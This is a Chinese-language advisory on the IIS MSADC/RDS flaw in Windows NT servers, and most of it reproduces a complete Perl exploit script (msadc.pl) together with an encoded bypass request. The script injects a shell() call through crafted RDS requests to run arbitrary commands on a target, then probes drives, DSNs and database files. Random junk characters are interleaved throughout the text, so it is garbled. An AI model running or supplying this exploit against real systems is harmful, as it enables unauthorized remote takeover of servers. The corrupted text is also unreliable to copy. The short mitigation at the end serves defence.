IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
x3U>5F@ o+XQ Mg 涉及程序：
{ ' 0#<Z Microsoft NT server
ue+{djz[4 H
n]( )/ 描述：
6yAZvX 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
LxWd_B [MbbL 详细：
R)SY #*Y 如果你没有时间读详细内容的话，就删除:
q7soV(P c:\Program Files\Common Files\System\Msadc\msadcs.dll
b iw .
~ 有关的安全问题就没有了。
eGpKoq7a ~9#x=nU:+V 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
/|H9Gm [~\]<; ;\ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
uH'? I kx" 关于利用ODBC远程漏洞的描述，请参看:
0m> 8 W,80deT http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1+ 7_L `SB B@dCCKc%/ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
@b., pwZF http://www.microsoft.com/security/bulletins/MS99-025faq.asp
!j% xw_)~Y%\ 这里不再论述。
3pW4Ul@e 1(>2tEjYT 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
rMjb,2*rC7 ir{
4 k /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Oi^cs=} 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Pn.Deo Hme tk h
*su ~QPTs1Vk8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
oyk&]'> vV 9vB3K5? #!perl
}
d8\ Jg #
z6d0Y $A G # MSADC/RDS 'usage' (aka exploit) script
+U_1B%e(% #
y`7<c5zD # by rain.forest.puppy
, .;0xyc #
0MxK+8\y # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ZS]Z0iZv9 # beta test and find errors!
^^B_z|;Aa ,1Z([R* use Socket; use Getopt::Std;
-D=Sj@G getopts("e:vd:h:XR", \%args);
@^ -Y&N!b= >D~8iuy]8. print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
?r8hl.Z> .%.7~Nu, if (!defined $args{h} && !defined $args{R}) {
RU6c 8>" print qq~
d-tg^Ot#
Usage: msadc.pl -h <host> { -d <delay> -X -v }
kMnG1K -h <host> = host you want to scan (ip or domain)
oZ t Cx -d <seconds> = delay between calls, default 1 second
r`EjD}2d -X = dump Index Server path table, if available
n@;B_Bt7 -v = verbose
PO6yE r -e = external dictionary file for step 5
Rj>A", aD' Ax\- Or a -R will resume a command session
i +~BVb zP2X}VLMo ~; exit;}
</ xf4.C m }RZ )c $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6g" h}p\{S if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
kAPSVTH$v if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
} -;)G~h/" if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+By '6?22 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
' F9gp!s8~ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
dc1Zh
W4 "Z,T%] if (!defined $args{R}){ $ret = &has_msadc;
>,3 uu}s die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
H7;, Kr VR&dy|5BO print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ny$3$5/ . "cmd /c ";
?#Z4Dg
9| $in=<STDIN>; chomp $in;
J+
S ]Qoz $command="cmd /c " . $in ;
{GnZ@Q:F KZZ Y 9 if (defined $args{R}) {&load; exit;}
=G^'ww pv( GCO: !,1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
V|sV U &try_btcustmr;
*xsBFCRU "P(obk print "\nStep 2: Trying to make our own DSN...";
L2EQ 9i'[ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
QdQ1+*/+U 1kL8EP T%o print "\nStep 3: Trying known DSNs...";
\( {'Xo >( &known_dsn;
'xkl|P>=], /P TRe5-7 print "\nStep 4: Trying known .mdbs...";
t ;h`nH[ &known_mdb;
Rky ]F+J 0!lWxS 0#= if (defined $args{e}){
*DfOm`m print "\nStep 5: Trying dictionary of DSN names...";
Bh cp=# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
W~D_+[P|_ sr&W+4T print "Sorry Charley...maybe next time?\n";
E/%"%&`8j exit;
t $Rc
0 YJ"D"QD ##############################################################################
ml1%C% F/> \ uzu sub sendraw { # ripped and modded from whisker
6V JudNA sleep($delay); # it's a DoS on the server! At least on mine...
w 0= my ($pstr)=@_;
pUqC 88*j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
] T]{VB die("Socket problems\n");
8^j~uH if(connect(S,pack "SnA4x8",2,80,$target)){
4^2>K C_ select(S); $|=1;
X]@"ZV[ print $pstr; my @in=<S>;
a0s z$u select(STDOUT); close(S);
h`1<+1J9 return @in;
MAFdJ +n# } else { die("Can't connect...\n"); }}
T
pF [-fO -W('^v_* ##############################################################################
HFy9b|pjy [I4M K%YQ sub make_header { # make the HTTP request
)< G(C,!,. my $msadc=<<EOT
p l&nr7\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
LiT%d User-Agent: ACTIVEDATA
0@cIj
] Host: $ip
C){Q;`M-< Content-Length: $clen
9_:"`)] 3B Connection: Keep-Alive
jmr
.gW Fk 3(( n= ADCClientVersion:01.06
A<)n H=G& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
U0j>u*yE 0 N>K4ho6{ --!ADM!ROX!YOUR!WORLD!
Vl5>o$G|<. Content-Type: application/x-varg
Y #68_%[ Content-Length: $reqlen
={P`Tve C&w0HoF EOT
L>sLb(2\i ; $msadc=~s/\n/\r\n/g;
f- 9t return $msadc;}
fS4W*P[B3 @ y ;VV* ##############################################################################
t7F0[E'=5\ (Fzy8
s sub make_req { # make the RDS request
{ac$4#Bp[B my ($switch, $p1, $p2)=@_;
k Mch my $req=""; my $t1, $t2, $query, $dsn;
raPOF6-_rH @s-P!uCaT if ($switch==1){ # this is the btcustmr.mdb query
nahq O|~ $query="Select * from Customers where City=" . make_shell();
iXn XZ|M $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
) >FAtE $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
S^p b9~ mv8H :T elsif ($switch==2){ # this is general make table query
'1b 1N 5~ $query="create table AZZ (B int, C varchar(10))";
t(*n[7e $dsn="$p1";}
> U?\WgE$ Nz`8)Le elsif ($switch==3){ # this is general exploit table query
:gwmk9LZ $query="select * from AZZ where C=" . make_shell();
w CL n iCt $dsn="$p1";}
AEyD?^? WkA47+DsV elsif ($switch==4){ # attempt to hork file info from index server
~+4lmslR $query="select path from scope()";
u5}:[4N%I $dsn="Provider=MSIDXS;";}
# `E q%;cu1^"M elsif ($switch==5){ # bad query
%;:![?M
$query="select";
_r3Y$^!U $dsn="$p1";}
:
Z<\R0 u ?72]?SM $t1= make_unicode($query);
x&;A Y $t2= make_unicode($dsn);
vm+3!s:u $req = "\x02\x00\x03\x00";
hTLf$_|P $req.= "\x08\x00" . pack ("S1", length($t1));
L.@$rFhA $req.= "\x00\x00" . $t1 ;
!ZUUn*e{5 $req.= "\x08\x00" . pack ("S1", length($t2));
_9lMa 7i $req.= "\x00\x00" . $t2 ;
_1gN U]" $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
/( s |'"6 return $req;}
,V9qiu=m
mU4(MjP? ##############################################################################
#VX]trh, i`F5 sub make_shell { # this makes the shell() statement
cF15Mm2 return "'|shell(\"$command\")|'";}
]j7`3%4uK @3c'4O
##############################################################################
=H;n $ -P R5=J :o sub make_unicode { # quick little function to convert to unicode
S&UP;oc my ($in)=@_; my $out;
fU$Jh/#": for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3:jxr return $out;}
n^[a}DX0 Fc`IRPW< ##############################################################################
RM_% u=jC ),N,!15j, sub rdo_success { # checks for RDO return success (this is kludge)
4 Y59^ my (@in) = @_; my $base=content_start(@in);
Z]b ;%:>= if($in[$base]=~/multipart\/mixed/){
J(#6Cld`c return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Nxe1^F33 return 0;}
ASy?^Jrs5 !8UIyw ##############################################################################
FA-cTF[,( F*U(Wl= sub make_dsn { # this makes a DSN for us
x @43ZH_ my @drives=("c","d","e","f");
%_s)Gw&sq print "\nMaking DSN: ";
cL#-vW<s3 foreach $drive (@drives) {
^?Xs!kJP print "$drive: ";
kB@gy } my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
A-4;$
QSm "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
IWv5UmjN . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
}w4OCN\1
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.\$A7DD+A return 0 if $2 eq "404"; # not found/doesn't exist
=A, B'n\R if($2 eq "200") {
mF@7;dpr foreach $line (@results) {
* bp09XG return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
}6 a}8EyFP } return 0;}
%N&.B 5;KJ0N*- ##############################################################################
L3\#ufytb npzp/mcIe) sub verify_exists {
' :_9o5I my ($page)=@_;
+:^l|6%} my @results=sendraw("GET $page HTTP/1.0\n\n");
[r"Oi|
8I return $results[0];}
BJ5MCb.w 0e0)1;t\ ##############################################################################
8'@5X-n D AmIW$(Ce sub try_btcustmr {
fD[O
tc my @drives=("c","d","e","f");
b|.Cqsb my @dirs=("winnt","winnt35","winnt351","win","windows");
(]cL5o9 KJyCfMH&:@ foreach $dir (@dirs) {
l9uocP:D print "$dir -> "; # fun status so you can see progress
X7-*`NI^ foreach $drive (@drives) {
=cV|o] print "$drive: "; # ditto
6HBDs: $reqlen=length( make_req(1,$drive,$dir) ) - 28;
NUVKAAgMX $reqlenlen=length( "$reqlen" );
4r4 #u'Om $clen= 206 + $reqlenlen + $reqlen;
zB0*KgAn{ B /uaRi% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
}I
uqB*g[t if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
j"6|$Ze8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Az y`4 m2^vH+wD ##############################################################################
mWZP.w^- +pG+ xI sub odbc_error {
V5$ Gb6?K my (@in)=@_; my $base;
E0RqY3 my $base = content_start(@in);
kiJ=C2'& if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
;SI (5rS? $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Kw" e4 a $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^k7I+A $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
nxV!mh_ return $in[$base+4].$in[$base+5].$in[$base+6];}
kCD] & print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
G@Z%[YNw print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)B
$Q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
wi+Q lf O^CBa$ ##############################################################################
'V^M+ng M`K]g&57hL sub verbose {
[ x+ -N7 my ($in)=@_;
F% a&|X return if !$verbose;
ppn 8 print STDOUT "\n$in\n";}
'cc8 xC o_Z9\'u ##############################################################################
X<IW5* |Q)mBvvN sub save {
_+ 9 i my ($p1, $p2, $p3, $p4)=@_;
& 'i_A%V open(OUT, ">rds.save") || print "Problem saving parameters...\n";
v`QDms,{ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^@8XJ[C,_ close OUT;}
*cM=>3ws/ ds+K7B$ ##############################################################################
`XE>Td>Bs 0 cKsGD m sub load {
)t+pwh!8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)jl@ hnA open(IN,"<rds.save") || die("Couldn't open rds.save\n");
,w6?Ap @p=<IN>; close(IN);
j[i*;0) | $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Sak^J.~G[ $target= inet_aton($ip) || die("inet_aton problems");
sE&nEc print "Resuming to $ip ...";
FVl,
ttW $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
FJH>P \+ if($p[1]==1) {
j?*n@' $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
% t,42jQ9 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
e@V J-s my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
5@1h^w v if (rdo_success(@results)){print "Success!\n";}
!VIxEu^ke else { print "failed\n"; verbose(odbc_error(@results));}}
n:4 0T1: q elsif ($p[1]==3){
N[O .p]8 if(run_query("$p[3]")){
aWimg6 q print "Success!\n";} else { print "failed\n"; }}
G"&$7!6[Y elsif ($p[1]==4){
V<|N}8{Z2a if(run_query($drvst . "$p[3]")){
P =EZ6<c3& print "Success!\n"; } else { print "failed\n"; }}
zUJXA:L9 exit;}
,d/$!Yf 2m*ugBO; ##############################################################################
6!0NFP~b En7+fQ sub create_table {
5!9y nIC+> my ($in)=@_;
!-T#dU $reqlen=length( make_req(2,$in,"") ) - 28;
"k + :!D $reqlenlen=length( "$reqlen" );
H#GR*4x $clen= 206 + $reqlenlen + $reqlen;
!lzj.|7=1 my @results=sendraw(make_header() . make_req(2,$in,""));
SE(<(w return 1 if rdo_success(@results);
dEXhn my $temp= odbc_error(@results); verbose($temp);
j,].88 H return 1 if $temp=~/Table 'AZZ' already exists/;
+7OE,RoQ return 0;}
)x [=}0C mQ}\ptdfV ##############################################################################
chD7 ^&5] ,e$RvFB sub known_dsn {
z|AknEE, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7ojh=i mY my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
(421$w,B% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
9{nU\am!\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
oIOeX1$V ! weYOOu foreach $dSn (@dsns) {
Ap\]v2G print ".";
7>7 n|N next if (!is_access("DSN=$dSn"));
`4@` G:6BL if(create_table("DSN=$dSn")){
9VaS CB print "$dSn successful\n";
BSy4
d> if(run_query("DSN=$dSn")){
{DvWa| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<F_w4! print "Something's borked. Use verbose next time\n";}}} print "\n";}
P/~dY[6m /:A239=+ ? ##############################################################################
E.$//P n|1 a&[[@1OY sub is_access {
]lJ#|zd8 o my ($in)=@_;
PTpCiiA@ $reqlen=length( make_req(5,$in,"") ) - 28;
u (r
T2 $reqlenlen=length( "$reqlen" );
~:!& }e5 $clen= 206 + $reqlenlen + $reqlen;
gDfM} 2]/ my @results=sendraw(make_header() . make_req(5,$in,""));
' )F@em my $temp= odbc_error(@results);
T2W^4) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
H!y@.W{_ return 0;}
\2@9k` m|cRj{xZF ##############################################################################
&e[Lb:Uk) w \t sub run_query {
3 5-FD{ my ($in)=@_;
]6=opvm $reqlen=length( make_req(3,$in,"") ) - 28;
<9=RLENmY" $reqlenlen=length( "$reqlen" );
&U.y): $clen= 206 + $reqlenlen + $reqlen;
>>J !| my @results=sendraw(make_header() . make_req(3,$in,""));
/KvpJ4 return 1 if rdo_success(@results);
3kJSz-_M my $temp= odbc_error(@results); verbose($temp);
3_VWtGQ return 0;}
g5Hsz,x N/^[c+J[E ##############################################################################
"J
>,
Hr9 U_B`SS sub known_mdb {
NVC$8imip my @drives=("c","d","e","f","g");
jT QN(a9Y my @dirs=("winnt","winnt35","winnt351","win","windows");
jaux:fU my $dir, $drive, $mdb;
4f0dc\$ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9qZ|=r]y' =(k0^ #++G # this is sparse, because I don't know of many
oDA'}[/ my @sysmdbs=( "\\catroot\\icatalog.mdb",
&P8Q|A-u "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
[7)#3 "\\system32\\certmdb.mdb",
oU 8o ;zk0 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
>y q L uqy~hY my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.Qj`_q6= "\\cfusion\\cfapps\\forums\\forums_.mdb",
2gjA>ET`N "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Xg"Mjmr "\\cfusion\\cfapps\\security\\realm_.mdb",
U`'w{~"D% "\\cfusion\\cfapps\\security\\data\\realm.mdb",
}S&SL) "\\cfusion\\database\\cfexamples.mdb",
`V0]t_*D "\\cfusion\\database\\cfsnippets.mdb",
s*}d`"YvH "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Ki@8 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
R ?\8SdJ "\\cfusion\\brighttiger\\database\\cleam.mdb",
*KV] MdS "\\cfusion\\database\\smpolicy.mdb",
5 4LCoG/ "\\cfusion\\database\cypress.mdb",
q`;URkjk "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|b7>kM}" "\\website\\cgi-win\\dbsample.mdb",
mKq9mA"(E "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
I `KN8ll "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Z#W `0 G>' ); #these are just
J5rR?[i{ foreach $drive (@drives) {
z KWi9 foreach $dir (@dirs){
&c@I4RV|q foreach $mdb (@sysmdbs) {
!8s:3] print ".";
Ap> n4~ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
pV-.r-P print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
~d5{Q?T) if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T
+4!g|Y print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
C"mb-n 7s } else { print "Something's borked. Use verbose next time\n"; }}}}}
y.oJzU[p% ,>jm|BTD { foreach $drive (@drives) {
nocH~bAf2 foreach $mdb (@mdbs) {
pcl _$2_ print ".";
3i$ AR if(create_table($drv . $drive . $dir . $mdb)){
ta 4<d)nB print "\n" . $drive . $dir . $mdb . " successful\n";
S I(8.$1 if(run_query($drv . $drive . $dir . $mdb)){
SO&;]YO print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
g%[Ruugu } else { print "Something's borked. Use verbose next time\n"; }}}}
-jw=I yv }
f!I e n*xNMw1x"T ##############################################################################
mLYB6 ( jyJ-qe sub hork_idx {
3a S>U # print "\nAttempting to dump Index Server tables...\n";
p.IfJ| print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Y\x
Xo? $reqlen=length( make_req(4,"","") ) - 28;
e
O}mZN $reqlenlen=length( "$reqlen" );
+[7u>RJ $clen= 206 + $reqlenlen + $reqlen;
<z4!m/f [( my @results=sendraw2(make_header() . make_req(4,"",""));
_0` O } if (rdo_success(@results)){
^b.J z} my $max=@results; my $c; my %d;
U5PCj ]-Xt for($c=19; $c<$max; $c++){
0\ o'd\ $results[$c]=~s/\x00//g;
p 5' \< gQ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
zC^Ib&gm>, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Mt:(w;Y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
w/<hyEpxg $d{"$1$2"}="";}
[)=FZF6kG foreach $c (keys %d){ print "$c\n"; }
rYqvG } else {print "Index server doesn't seem to be installed.\n"; }}
O#|E7; & Gt9a-ne ##############################################################################
m
;vNA ,5 *4%*n\ sub dsn_dict {
3 2Z4&~ I open(IN, "<$args{e}") || die("Can't open external dictionary\n");
tpctz~ . while(<IN>){
KKzvoc?Bt $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
+L r0i_al next if (!is_access("DSN=$dSn"));
\3/9lE|gh if(create_table("DSN=$dSn")){
nNKL{Hp print "$dSn successful\n";
& Hqu`A/^ if(run_query("DSN=$dSn")){
G~ Sfpf print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!]nCeo print "Something's borked. Use verbose next time\n";}}}
YGO@X(ej, print "\n"; close(IN);}
4SrK]+| 6M9rC[h\ ##############################################################################
.wSAysiQ|P #@fypCc sub sendraw2 { # ripped and modded from whisker
one>vi`= sleep($delay); # it's a DoS on the server! At least on mine...
>A/=eW/q my ($pstr)=@_;
+*q@= P, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
> R <fm die("Socket problems\n");
Vmc)or*# if(connect(S,pack "SnA4x8",2,80,$target)){
UK,P?_e print "Connected. Getting data";
ZIp=JR8o$ open(OUT,">raw.out"); my @in;
QFYy$T+W select(S); $|=1; print $pstr;
oX~CTunP while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
qu%s 7+ close(OUT); select(STDOUT); close(S); return @in;
^d*>P|n*@e } else { die("Can't connect...\n"); }}
hz %IxI9 8E+l; 2 ##############################################################################
Tjqn::~D ~aG-^BAS sub content_start { # this will take in the server headers
*@nUas 2" my (@in)=@_; my $c;
s|T7)PgR for ($c=1;$c<500;$c++) {
]N_^{k, if($in[$c] =~/^\x0d\x0a/){
s|'L0` <B if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
v3Yj2LSqx else { return $c+1; }}}
D.b <I79bX return -1;} # it should never get here actually
YP,PJnJU8 )|x5#b-lz ##############################################################################
6]S.1 BP GB3B4)cX4Y sub funky {
K oJG! Rm my (@in)=@_; my $error=odbc_error(@in);
f,>i%. if($error=~/ADO could not find the specified provider/){
{@Ac L:Eit print "\nServer returned an ADO miscofiguration message\nAborting.\n";
}o- P exit;}
r.;i O0[/ if($error=~/A Handler is required/){
df& |Lc1J print "\nServer has custom handler filters (they most likely are patched)\n";
w ZAXfNA exit;}
-; $/< if($error=~/specified Handler has denied Access/){
IcQ!A=lB print "\nServer has custom handler filters (they most likely are patched)\n";
[ )~@NN exit;}}
us%RQ8=k a7G2C oM8 ##############################################################################
9K<a}QJP w>_EM&r6~u sub has_msadc {
|$2N$6\SP my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
H~]o]uAi" my $base=content_start(@results);
T P ::y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
,0]28 D return 0;}
/H@")j e o q) "1 ########################
ZiYz sn {C6;$#7P @0,dyg<$> 解决方案：
cV,Dl`1r 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
LB7I`W 2、移除web 目录: /msadc
